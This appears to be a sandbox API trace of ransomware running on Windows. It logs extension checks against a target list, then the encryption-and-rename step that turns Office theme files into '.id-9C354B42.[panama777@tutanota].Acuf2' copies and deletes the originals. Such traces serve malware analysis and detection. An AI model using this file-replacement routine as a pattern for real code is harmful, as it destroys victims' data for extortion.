	[0256.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76
	[0256.693] lstrlenW (lpString=".zip") returned 4
	[0256.693] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0256.693] lstrlenW (lpString=".rar") returned 4
	[0256.693] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0256.693] lstrlenW (lpString=".bz2") returned 4
	[0256.693] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0256.693] lstrlenW (lpString=".7z") returned 3
	[0256.693] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0256.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76
	[0256.693] lstrlenW (lpString=".dbf") returned 4
	[0256.693] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0256.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76
	[0256.693] lstrlenW (lpString=".1cd") returned 4
	[0256.693] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0256.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76
	[0256.693] lstrlenW (lpString=".jpg") returned 4
	[0256.693] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0256.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76
	[0256.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76
	[0256.694] lstrlenW (lpString=".doc") returned 4
	[0256.694] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0256.694] lstrlenW (lpString=".docx") returned 5
	[0256.694] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0256.694] lstrlenW (lpString=".pdf") returned 4
	[0256.694] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0256.694] lstrlenW (lpString=".xls") returned 4
	[0256.694] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0256.694] lstrlenW (lpString=".xlsx") returned 5
	[0256.694] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0256.694] lstrlenW (lpString=".ppt") returned 4
	[0256.694] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0256.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76
	[0256.694] lstrlenW (lpString=".zip") returned 4
	[0256.694] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0256.694] lstrlenW (lpString=".rar") returned 4
	[0256.694] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0256.694] lstrlenW (lpString=".bz2") returned 4
	[0256.694] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0256.694] lstrlenW (lpString=".7z") returned 3
	[0256.694] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0256.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76
	[0256.694] lstrlenW (lpString=".dbf") returned 4
	[0256.694] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0256.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76
	[0256.694] lstrlenW (lpString=".1cd") returned 4
	[0256.694] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0256.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76
	[0256.694] lstrlenW (lpString=".jpg") returned 4
	[0256.695] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0256.695] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0256.695] lstrlenW (lpString="Composite.eftx") returned 14
	[0256.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0256.696] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=533988) returned 1
	[0256.696] CloseHandle (hObject=0x344) returned 1
	[0256.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx")) returned 0x20
	[0256.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0256.696] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.696] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0256.696] GetLastError () returned 0x0
	[0256.697] ReadFile (in: hFile=0x344, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x825e4, lpOverlapped=0x0) returned 1
	[0256.784] WriteFile (in: hFile=0x29c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x825f0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x825f0, lpOverlapped=0x0) returned 1
	[0256.972] ReadFile (in: hFile=0x344, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.972] WriteFile (in: hFile=0x29c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0256.972] SetEndOfFile (hFile=0x29c) returned 1
	[0256.972] CloseHandle (hObject=0x29c) returned 1
	[0256.972] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.972] SetEndOfFile (hFile=0x344) returned 1
	[0256.996] CloseHandle (hObject=0x344) returned 1
	[0256.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.206] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx")) returned 1
	[0257.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81
	[0257.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81
	[0257.297] lstrlenW (lpString=".doc") returned 4
	[0257.297] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.297] lstrlenW (lpString=".docx") returned 5
	[0257.297] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.297] lstrlenW (lpString=".pdf") returned 4
	[0257.297] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.297] lstrlenW (lpString=".xls") returned 4
	[0257.297] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.297] lstrlenW (lpString=".xlsx") returned 5
	[0257.297] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.297] lstrlenW (lpString=".ppt") returned 4
	[0257.297] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81
	[0257.297] lstrlenW (lpString=".zip") returned 4
	[0257.297] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.297] lstrlenW (lpString=".rar") returned 4
	[0257.297] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.297] lstrlenW (lpString=".bz2") returned 4
	[0257.297] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.297] lstrlenW (lpString=".7z") returned 3
	[0257.297] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81
	[0257.297] lstrlenW (lpString=".dbf") returned 4
	[0257.297] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81
	[0257.297] lstrlenW (lpString=".1cd") returned 4
	[0257.297] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81
	[0257.297] lstrlenW (lpString=".jpg") returned 4
	[0257.297] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81
	[0257.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81
	[0257.298] lstrlenW (lpString=".doc") returned 4
	[0257.298] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.298] lstrlenW (lpString=".docx") returned 5
	[0257.298] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.298] lstrlenW (lpString=".pdf") returned 4
	[0257.298] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.298] lstrlenW (lpString=".xls") returned 4
	[0257.298] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.298] lstrlenW (lpString=".xlsx") returned 5
	[0257.298] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.298] lstrlenW (lpString=".ppt") returned 4
	[0257.298] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81
	[0257.298] lstrlenW (lpString=".zip") returned 4
	[0257.298] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.298] lstrlenW (lpString=".rar") returned 4
	[0257.298] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.298] lstrlenW (lpString=".bz2") returned 4
	[0257.298] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.298] lstrlenW (lpString=".7z") returned 3
	[0257.298] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81
	[0257.298] lstrlenW (lpString=".dbf") returned 4
	[0257.298] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81
	[0257.298] lstrlenW (lpString=".1cd") returned 4
	[0257.298] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81
	[0257.299] lstrlenW (lpString=".jpg") returned 4
	[0257.299] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.299] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0257.299] lstrlenW (lpString="Flow.eftx") returned 9
	[0257.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0257.339] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=26648) returned 1
	[0257.339] CloseHandle (hObject=0x344) returned 1
	[0257.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx")) returned 0x20
	[0257.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0257.340] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.340] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0257.340] GetLastError () returned 0x0
	[0257.340] ReadFile (in: hFile=0x344, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x6818, lpOverlapped=0x0) returned 1
	[0257.343] WriteFile (in: hFile=0x340, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x6820, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x6820, lpOverlapped=0x0) returned 1
	[0257.344] ReadFile (in: hFile=0x344, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0257.344] WriteFile (in: hFile=0x340, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0257.344] SetEndOfFile (hFile=0x340) returned 1
	[0257.344] CloseHandle (hObject=0x340) returned 1
	[0257.344] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.344] SetEndOfFile (hFile=0x344) returned 1
	[0257.347] CloseHandle (hObject=0x344) returned 1
	[0257.347] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.347] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx")) returned 1
	[0257.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76
	[0257.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76
	[0257.347] lstrlenW (lpString=".doc") returned 4
	[0257.347] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.347] lstrlenW (lpString=".docx") returned 5
	[0257.347] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.347] lstrlenW (lpString=".pdf") returned 4
	[0257.347] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.348] lstrlenW (lpString=".xls") returned 4
	[0257.348] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.348] lstrlenW (lpString=".xlsx") returned 5
	[0257.348] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.348] lstrlenW (lpString=".ppt") returned 4
	[0257.348] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76
	[0257.348] lstrlenW (lpString=".zip") returned 4
	[0257.348] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.348] lstrlenW (lpString=".rar") returned 4
	[0257.348] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.348] lstrlenW (lpString=".bz2") returned 4
	[0257.348] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.348] lstrlenW (lpString=".7z") returned 3
	[0257.348] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76
	[0257.348] lstrlenW (lpString=".dbf") returned 4
	[0257.348] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76
	[0257.348] lstrlenW (lpString=".1cd") returned 4
	[0257.348] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76
	[0257.348] lstrlenW (lpString=".jpg") returned 4
	[0257.348] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76
	[0257.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76
	[0257.348] lstrlenW (lpString=".doc") returned 4
	[0257.348] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.348] lstrlenW (lpString=".docx") returned 5
	[0257.348] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.348] lstrlenW (lpString=".pdf") returned 4
	[0257.349] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.349] lstrlenW (lpString=".xls") returned 4
	[0257.349] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.349] lstrlenW (lpString=".xlsx") returned 5
	[0257.349] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.349] lstrlenW (lpString=".ppt") returned 4
	[0257.349] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76
	[0257.349] lstrlenW (lpString=".zip") returned 4
	[0257.349] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.349] lstrlenW (lpString=".rar") returned 4
	[0257.349] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.349] lstrlenW (lpString=".bz2") returned 4
	[0257.349] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.349] lstrlenW (lpString=".7z") returned 3
	[0257.349] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76
	[0257.349] lstrlenW (lpString=".dbf") returned 4
	[0257.349] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76
	[0257.349] lstrlenW (lpString=".1cd") returned 4
	[0257.349] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76
	[0257.349] lstrlenW (lpString=".jpg") returned 4
	[0257.349] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.350] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0257.350] lstrlenW (lpString="Hardcover.eftx") returned 14
	[0257.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0257.351] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=350689) returned 1
	[0257.351] CloseHandle (hObject=0x344) returned 1
	[0257.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx")) returned 0x20
	[0257.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0257.351] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.351] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0257.352] GetLastError () returned 0x0
	[0257.352] ReadFile (in: hFile=0x344, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x559e1, lpOverlapped=0x0) returned 1
	[0257.362] WriteFile (in: hFile=0x340, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x559f0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x559f0, lpOverlapped=0x0) returned 1
	[0257.369] ReadFile (in: hFile=0x344, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0257.369] WriteFile (in: hFile=0x340, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0257.369] SetEndOfFile (hFile=0x340) returned 1
	[0257.369] CloseHandle (hObject=0x340) returned 1
	[0257.369] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.369] SetEndOfFile (hFile=0x344) returned 1
	[0257.750] CloseHandle (hObject=0x344) returned 1
	[0257.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.818] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx")) returned 1
	[0257.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81
	[0257.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81
	[0257.827] lstrlenW (lpString=".doc") returned 4
	[0257.827] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.827] lstrlenW (lpString=".docx") returned 5
	[0257.828] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.828] lstrlenW (lpString=".pdf") returned 4
	[0257.828] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.828] lstrlenW (lpString=".xls") returned 4
	[0257.828] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.828] lstrlenW (lpString=".xlsx") returned 5
	[0257.828] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.828] lstrlenW (lpString=".ppt") returned 4
	[0257.828] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81
	[0257.828] lstrlenW (lpString=".zip") returned 4
	[0257.828] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.828] lstrlenW (lpString=".rar") returned 4
	[0257.828] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.828] lstrlenW (lpString=".bz2") returned 4
	[0257.828] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.828] lstrlenW (lpString=".7z") returned 3
